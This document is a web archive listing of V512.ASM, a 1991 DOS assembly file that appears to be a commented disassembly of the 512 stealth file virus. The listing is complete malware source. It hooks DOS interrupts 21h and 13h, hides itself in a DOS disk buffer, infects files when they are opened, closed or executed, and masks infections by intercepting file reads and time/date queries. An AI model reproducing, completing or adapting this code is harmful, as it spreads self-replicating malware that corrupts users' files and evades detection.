home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / V512.ASM < prev    next >
Assembly Source File  |  1991-05-24  |  10KB  |  313 lines

  1.         name    a
  2. code1   segment byte
  3.         assume  cs:code1,ds:code1
  4.         org     0004h
  5. D4      =       $
  6.         org     0050h
  7. N50     =       $
  8.         org     0100h
  9. BegAddr    = $
  10. Begin:
  11.         mov     si,04h
  12.         mov     ds,si
  13.         lds     dx,dword ptr [si+08h]   ; get addr of int 13h into ds:dx
  14.         mov     ah,013h
  15.         int     02fh                 ; return orig addr of int 13 into ds:dx
  16.         push    ds
  17.         push    dx
  18.         int     02fh
  19.         pop     ax
  20.         mov     di,offset BegAddr-8
  21.         stosw                           ; store orig int13 addr offset
  22.         pop     ax
  23.         stosw                           ; and segment
  24.         mov     ds,si
  25.         lds     ax,dword ptr [si+040h]  ; get addr of int21 into ds:ax
  26.         cmp     ax,0117h
  27.         stosw                           ; store int21 addr offset
  28.         mov     ax,ds
  29.         stosw                           ; and segment
  30.         push    es                      ; really this is prog_begin segment
  31.         push    di                      ; and offset (0100 for .COM)
  32.         jne     N130
  33.         shl     si,1
  34.         mov     cx,01ffh
  35.         rep     cmpsb
  36.         je      N177
  37. N130:
  38.         mov     ah,052h         ; DOS Fn - Get LIST of LISTS
  39.         int     021h
  40.         push    es              ; return: es:bx - pointer to DOS list of lists
  41.         mov     si,0f8h         ; here was stored addres of int13
  42.         les     di,es:[bx+12h]  ; pointer to first disk buffer
  43.         mov     dx,es:[di+02]   ; pointer to next disk buffer
  44.         mov     cx,207h         ; VirLen + 8
  45.         rep     movs    byte ptr es:[di],byte ptr ss:[si] ; Move v512 into
  46.                                                           ; first disk buffer
  47.         mov     ds,cx           ; ds=0
  48.         mov     di,016h
  49.         mov     word ptr [di+06eh],0117h      ; set int21 to this offset
  50.         mov     word ptr [di+070h],es         ; and segment
  51.         pop     ds         ; restore pointer to DOS list of lists into ds:bx
  52.         mov     word ptr [bx+014h],dx   ; set 2-nd disk buffer as first
  53.                                         ; => hide 1-st disk buffer
  54.         mov     dx,cs
  55.         mov     ds,dx
  56.         mov     bx,word ptr [di-014h]   ; get top of available system
  57.                                         ; memory in paragraphs
  58.         dec     bh                      ; and decement it
  59.         mov     es,bx                   ; es=last memory segment
  60.         cmp     dx,word ptr [di]        ; dx=Parents ID ?
  61.         mov     ds,word ptr [di]        ; ds=PID
  62.         mov     dx,word ptr [di]        ; dx=Parents PID !!!
  63.         dec     dx
  64.         mov     ds,dx                   ; ds=P PID-1 !!!
  65.         mov     si,cx                   ; si=0
  66.         mov     dx,di
  67.         mov     cl,028h
  68.         rep     movsw                   ; P PID-1:0 -> MemTop-1:16
  69.         mov     ds,bx                   ; ds=MemTop-1
  70.         jb      N186                    ; ?????
  71. N177:
  72.         mov     si,cx                   ; si=0
  73.         mov     ds,word ptr ss:[si+02ch] ; ds=Segment address of DOS environment
  74. N17d:
  75.         lodsw
  76.         dec     si
  77.         or      ax,ax
  78.         jne     N17d                    ; find filespec of THIS file !!!
  79.         lea     dx,word ptr [si+03h]    ; and move pointer to ds:dx (FoolBoy!)
  80. N186:
  81.         mov     ax,03d00h         ; Open a File
  82.         int     021h              ; AL     Open mode
  83.                                   ; DS:DX  Pointer to filename (ASCIIZ string)
  84.         xchg    ax,bx
  85.         pop     dx
  86.         push    dx
  87.         push    cs
  88.         pop     ds
  89.         push    ds
  90.         pop     es
  91.         mov     cl,02h
  92.         mov     ah,03fh
  93.         int     021h            ; Read from File or Device, Using a Handle
  94.                                 ;  BX         File handle
  95.                                 ;  CX         Number of bytes to read
  96.                                 ;  DS:DX      Address of buffer
  97.         mov     dl,cl
  98.         xchg    cl,ch
  99.         mov     al,byte ptr ds:BegAddr
  100.         cmp     al,byte ptr ds:D2ff
  101.         jne     N1a7
  102.         mov     ah,03fh
  103. N1a7:
  104.         jmp     N50
  105. GetFileTblNum:
  106.         push    bx
  107.         mov     ax,01220h            ; get system file table number
  108.         int     02fh                 ; bx = file handle
  109.         mov     bl,byte ptr es:[di]  ; = system file table entry number for
  110.                                      ; file handle
  111.         mov     ax,01216h            ; get address of system fcb
  112.         int     02fh                 ; bx = system file table number
  113.                                      ; return: ES:DI - system file table entry
  114.         pop     bx
  115.         lea     di,word ptr [di+015h]
  116.         mov     bp,0200h
  117.         ret
  118. N1c0:
  119.         mov     ah,03fh
  120. N1c2:
  121.         pushf
  122.         push    cs
  123.         call    N248
  124.         ret
  125. DOS_ReadFromFile:
  126.         call    GetFileTblNum
  127.         mov     si,word ptr es:[di]
  128.         call    N1c0
  129.         jb      N1f7
  130.         cmp     si,bp
  131.         jnb     N1f7
  132.         push    ax
  133.         mov     al,byte ptr es:[di-08h]
  134.         not     al
  135.         and     al,01fh
  136.         jne     N1f6
  137.         add     si,word ptr es:[di-04h]
  138.         xchg    si,word ptr es:[di]
  139.         add     word ptr es:[di-04h],bp
  140.         call    N1c0
  141.         sub     word ptr es:[di-04h],bp
  142.         xchg    ax,si
  143.         stosw
  144. N1f6:
  145.         pop     ax
  146. N1f7:
  147.         pop     es
  148.         pop     si
  149.         pop     di
  150.         pop     bp
  151. boza    proc    far
  152.         ret     2
  153. boza    endp
  154.  
  155. DOS_QueryFileTimeDate:                  ; AL : 0 to query the time/date of a file
  156.         call    N1c2
  157. D200    = $-1
  158.         lahf
  159.         mov     al,cl
  160.         and     al,01fh
  161.         cmp     al,01fh
  162. D207    = $-1
  163.         jne     N20c
  164.         xor     cl,al
  165. N20c:
  166.         sahf
  167.         jmp     N1f6
  168. Int21Entry:
  169.         push    bp
  170.         push    di
  171.         push    si
  172.         push    es
  173.         cld
  174.         mov     bp,sp
  175.         mov     es,word ptr [bp+0ah]
  176.         mov     di,0117h
  177.         mov     si,di
  178.         cmps    word ptr cs:[si],word ptr es:[di]
  179.         je      N244
  180.         cmp     ah,03fh        ; DOS Fn 3fH: Read from File via Handle
  181.         je      DOS_ReadFromFile
  182.         push    ax
  183.         cmp     ax,05700h      ; DOS Fn 57H: Set/Query File Time/Date
  184.         je      DOS_QueryFileTimeDate
  185.         cmp     ah,03eh        ; DOS Fn 3eH: Close a File Handle
  186.         pushf
  187.         push    bx
  188.         push    cx
  189.         push    dx
  190.         push    ds
  191.         je      DOS_CloseFileHandle
  192.         cmp     ax,04b00h       ;  DOS Fn 4bH: Execute or Load a Program -- EXEC
  193.         je      DOS_EXEC
  194. INT21end:
  195.         pop     ds
  196.         pop     dx
  197.         pop     cx
  198.         pop     bx
  199.         popf
  200.         je      N1f6
  201.         pop     ax
  202. N244:
  203.         pop     es
  204.         pop     si
  205.         pop     di
  206.         pop     bp
  207. N248:
  208.         jmp     dword ptr cs:D4                ; ?????
  209. DOS_EXEC:
  210.         mov     ah,03dh        ; DS:DX : address of an ASCIIZ string of a
  211.         int     021h           ;         filespec
  212.                                ; AL    : Open Mode
  213.         xchg    ax,bx
  214. DOS_CloseFileHandle:              ; BX : file handle
  215.         call    GetFileTblNum
  216.         jb      INT21end          ; exit on error
  217.         xor     cx,cx
  218.         xchg    cx,bp
  219.         mov     ds,bp
  220.         mov     si,04ch
  221.         lodsw
  222.         push    ax
  223.         lodsw
  224.         push    ax
  225.         mov     ax,02524h               ; DOS Fn 25H: Set Interrupt Vector
  226.         push    ax
  227.         push    word ptr [si+040h]
  228.         push    word ptr [si+042h]
  229.         push    cs
  230.         pop     ds                      ; AL    : interrupt number 24h
  231.                                         ;  INT 24H: Critical Error Handler
  232.         mov     dx,067h                 ; DS:DX : interrupt vector - address
  233.         int     021h                    ;      of code to handle an interrupt
  234.         lds     dx,dword ptr [si-050h]
  235.         mov     al,013h                 ; AL    : interrupt number 13h
  236.         int     021h                    ;  INT 13H: Disk I/O
  237.         push    es
  238.         pop     ds
  239.         mov     word ptr [di],bp
  240.         mov     byte ptr [di-013h],ch
  241.         cmp     word ptr [di+014h],04d4fh
  242.         jne     N2be
  243.         mov     dx,word ptr [di-04h]
  244.         add     dh,ch
  245.         cmp     dh,04h
  246.         jb      N2be
  247.         test    byte ptr [di-011h],04h
  248.         jne     N2be
  249.         lds     si,dword ptr [di-0eh]
  250.         cmp     byte ptr [si+04h],ch
  251.         jbe     N2aa
  252.         dec     dx
  253.         shr     dh,1
  254.         and     dh,byte ptr [si+04h]
  255.         je      N2be
  256. N2aa:
  257.         mov     ds,bp
  258.         mov     dx,cx
  259.         call    N1c0
  260.         mov     si,dx
  261.         dec     cx
  262. N2b4:
  263.         lodsb
  264.         cmp     al,byte ptr cs:Dfe07[si]
  265. Dfe07=0fe07h
  266.         jne     N2d1
  267.         loop    N2b4
  268. N2be:
  269.         mov     ah,03eh
  270.         call    N1c2
  271.         pop     ds
  272.         pop     dx
  273.         pop     ax
  274.         int     021h
  275. N2c8:
  276.         pop     ds
  277.         pop     dx
  278.         mov     al,013h
  279.         int     021h
  280. N2ce:
  281.         jmp     INT21end
  282. N2d1:
  283.         mov     cx,dx
  284.         mov     si,word ptr es:[di-04h]
  285.         mov     word ptr es:[di],si
  286.         mov     ah,040h
  287.         int     021h
  288. N2de:
  289.         mov     al,byte ptr ds:D200
  290.         push    es
  291.         pop     ds
  292.         mov     word ptr [di-04h],si
  293.         mov     word ptr [di],bp
  294.         or      byte ptr [di-08h],01fh
  295.         push    cs
  296.         pop     ds
  297.         mov     byte ptr ds:D207,al
  298.         mov     dx,08h
  299.         mov     ah,040h
  300.         int     021h
  301. N2f8:
  302.         or      byte ptr es:[di-0fh],040h
  303.         jmp     N2be
  304. D2ff    = $
  305. N2ff:
  306.         db      0e9h
  307.  
  308.         org     336h
  309. N336    proc    near
  310. N336    endp
  311. code1   ends
  312.         end     begin
  313.